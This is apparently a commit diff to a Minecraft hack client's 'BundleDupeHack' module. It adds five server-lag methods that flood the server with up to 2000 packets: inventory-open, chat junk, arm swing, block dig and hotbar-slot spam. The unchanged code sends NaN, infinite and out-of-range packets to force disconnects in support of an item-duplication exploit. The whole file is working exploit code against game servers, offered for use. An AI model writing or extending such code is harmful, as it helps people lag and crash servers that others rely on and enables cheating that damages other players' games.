77 */
88package net .wurstclient .hacks ;
99
10+ import java .time .Instant ;
1011import java .util .concurrent .Executors ;
1112import java .util .concurrent .ScheduledExecutorService ;
1213import java .util .concurrent .TimeUnit ;
1314
1415import it .unimi .dsi .fastutil .ints .Int2ObjectOpenHashMap ;
1516import net .minecraft .client .multiplayer .ClientPacketListener ;
1617import net .minecraft .client .multiplayer .ClientLevel ;
18+ import net .minecraft .core .BlockPos ;
19+ import net .minecraft .core .Direction ;
1720import net .minecraft .network .HashedStack ;
1821import net .minecraft .network .protocol .Packet ;
1922import net .minecraft .network .protocol .common .ServerboundClientInformationPacket ;
2023import net .minecraft .network .protocol .common .ServerboundKeepAlivePacket ;
24+ import net .minecraft .network .protocol .game .ServerboundChatPacket ;
2125import net .minecraft .network .protocol .game .ServerboundContainerClickPacket ;
2226import net .minecraft .network .protocol .game .ServerboundInteractPacket ;
2327import net .minecraft .network .protocol .game .ServerboundMovePlayerPacket ;
2428import net .minecraft .network .protocol .game .ServerboundPlayerActionPacket ;
2529import net .minecraft .network .protocol .game .ServerboundPlayerCommandPacket ;
2630import net .minecraft .network .protocol .game .ServerboundPlayerCommandPacket .Action ;
2731import net .minecraft .network .protocol .game .ServerboundSetCarriedItemPacket ;
32+ import net .minecraft .network .protocol .game .ServerboundSwingPacket ;
2833import net .minecraft .server .level .ClientInformation ;
2934import net .minecraft .world .InteractionHand ;
3035import net .minecraft .world .entity .Entity ;
@@ -94,6 +99,10 @@ public final class BundleDupeHack extends Hack implements PacketOutputListener
9499 "Amount of container click packets to send." , 200 , 1 , 1000 , 1 ,
95100 ValueDisplay .INTEGER );
96101
102+ private final SliderSetting lagPackets = new SliderSetting ("Other Lag packets" ,
103+ "Amount of lag packets to spam for ALL methods (except custom)." , 300 ,
104+ 100 , 2000 , 50 , ValueDisplay .INTEGER );
105+
97106 private boolean cancelKeepAlive ;
98107 private boolean dupeActivated ;
99108 private boolean waitingForKeepAlive ;
@@ -115,6 +124,7 @@ public BundleDupeHack()
115124 addSetting (boatNbtPackets );
116125 addSetting (entityNbtPackets );
117126 addSetting (clickslotPackets );
127+ addSetting (lagPackets );
118128 }
119129
120130 @ Override
@@ -276,9 +286,6 @@ private void executeKickDupe()
276286 ClientPacketListener c = MC .getConnection ();
277287 if (c != null && MC .player != null )
278288 {
279- // Send a movement packet with NaN/NaN positions and
280- // rotations to trigger an immediate decode/validation
281- // disconnect
282289 c .send (new ServerboundMovePlayerPacket .PosRot (Double .NaN ,
283290 Double .NaN , Double .NaN , Float .NaN , Float .NaN ,
284291 MC .player .onGround (), false ));
@@ -290,8 +297,6 @@ private void executeKickDupe()
290297 ClientPacketListener c = MC .getConnection ();
291298 if (c != null && MC .player != null )
292299 {
293- // Infinity positions/rotations are rejected instantly on
294- // most servers
295300 c .send (new ServerboundMovePlayerPacket .PosRot (
296301 Double .POSITIVE_INFINITY , Double .NEGATIVE_INFINITY ,
297302 Double .POSITIVE_INFINITY , Float .POSITIVE_INFINITY ,
@@ -304,8 +309,6 @@ private void executeKickDupe()
304309 ClientPacketListener c = MC .getConnection ();
305310 if (c != null && MC .player != null )
306311 {
307- // Extremely out-of-bounds but finite coords often cause
308- // immediate "Illegal position" disconnects
309312 double bx = 1.0E308 , by = 1.0E308 , bz = -1.0E308 ;
310313 c .send (new ServerboundMovePlayerPacket .PosRot (bx , by , bz ,
311314 0.0f , 0.0f , MC .player .onGround (), false ));
@@ -317,8 +320,6 @@ private void executeKickDupe()
317320 ClientPacketListener c = MC .getConnection ();
318321 if (c != null )
319322 {
320- // Container id/state/slot wildly out of range -> many
321- // servers drop immediately
322323 ServerboundContainerClickPacket p =
323324 new ServerboundContainerClickPacket (-1 ,
324325 Integer .MAX_VALUE , (short )Short .MAX_VALUE ,
@@ -363,6 +364,11 @@ private void executeLagMethod()
363364 case BOAT_NBT -> sendBoatNbtPackets ();
364365 case CLICKSLOT -> sendClickslotPackets ();
365366 case ENTITY_NBT -> sendEntityNbtPackets ();
367+ case INVENTORY_SPAM -> sendInventorySpam ();
368+ case CHAT_FLOOD -> sendChatFlood ();
369+ case SWING_SPAM -> sendSwingSpam ();
370+ case DIG_SPAM -> sendDigSpam ();
371+ case SLOT_SPAM -> sendSlotSpam ();
366372 }
367373 }
368374
@@ -423,6 +429,86 @@ private void sendClickslotPackets()
423429 "Sent " + clickslotPackets .getValueI () + " Clickslot packets." );
424430 }
425431
432+ private void sendInventorySpam ()
433+ {
434+ ClientPacketListener c = MC .getConnection ();
435+ if (c == null || MC .player == null )
436+ return ;
437+
438+ int count = lagPackets .getValueI ();
439+ for (int i = 0 ; i < count ; i ++)
440+ c .send (new ServerboundPlayerCommandPacket (MC .player ,
441+ Action .OPEN_INVENTORY ));
442+
443+ ChatUtils .message ("Sent " + count
444+ + " inventory open spam packets. (No boat needed!)" );
445+ }
446+
447+ private void sendChatFlood ()
448+ {
449+ ClientPacketListener c = MC .getConnection ();
450+ if (c == null )
451+ return ;
452+
453+ String junk = "a" .repeat (200 );
454+ int count = lagPackets .getValueI ();
455+
456+ for (int i = 0 ; i < count ; i ++)
457+ {
458+ c .send (
459+ new ServerboundChatPacket (junk , Instant .now (), 0L , null , null ));
460+ }
461+
462+ ChatUtils .message ("Sent " + count + " chat flood packets. (Unsigned)" );
463+ }
464+
465+ private void sendSwingSpam ()
466+ {
467+ ClientPacketListener c = MC .getConnection ();
468+ if (c == null || MC .player == null )
469+ return ;
470+
471+ int count = lagPackets .getValueI ();
472+ for (int i = 0 ; i < count ; i ++)
473+ c .send (new ServerboundSwingPacket (InteractionHand .MAIN_HAND ));
474+
475+ ChatUtils .message ("Sent " + count
476+ + " swing arm spam packets. (Harmless Netty flood!)" );
477+ }
478+
479+ private void sendDigSpam ()
480+ {
481+ ClientPacketListener c = MC .getConnection ();
482+ if (c == null || MC .player == null )
483+ return ;
484+
485+ BlockPos pos = MC .player .blockPosition ();
486+ Direction dir = Direction .UP ;
487+ int count = lagPackets .getValueI ();
488+ for (int i = 0 ; i < count ; i ++)
489+ c .send (new ServerboundPlayerActionPacket (
490+ ServerboundPlayerActionPacket .Action .START_DESTROY_BLOCK , pos ,
491+ dir ));
492+
493+ ChatUtils .message ("Sent " + count
494+ + " block dig spam packets. (Air block validation lag!)" );
495+ }
496+
497+ private void sendSlotSpam ()
498+ {
499+ ClientPacketListener c = MC .getConnection ();
500+ if (c == null )
501+ return ;
502+
503+ java .util .Random rand = new java .util .Random ();
504+ int count = lagPackets .getValueI ();
505+ for (int i = 0 ; i < count ; i ++)
506+ c .send (new ServerboundSetCarriedItemPacket (rand .nextInt (9 )));
507+
508+ ChatUtils .message ("Sent " + count
509+ + " hotbar slot spam packets. (Server inv update lag!)" );
510+ }
511+
426512 private void executeCommand (String command )
427513 {
428514 if (command == null )
@@ -462,6 +548,11 @@ public static enum LagMethod
462548 CUSTOM ,
463549 BOAT_NBT ,
464550 CLICKSLOT ,
465- ENTITY_NBT
551+ ENTITY_NBT ,
552+ INVENTORY_SPAM ,
553+ CHAT_FLOOD ,
554+ SWING_SPAM ,
555+ DIG_SPAM ,
556+ SLOT_SPAM
466557 }
467558}
0 commit comments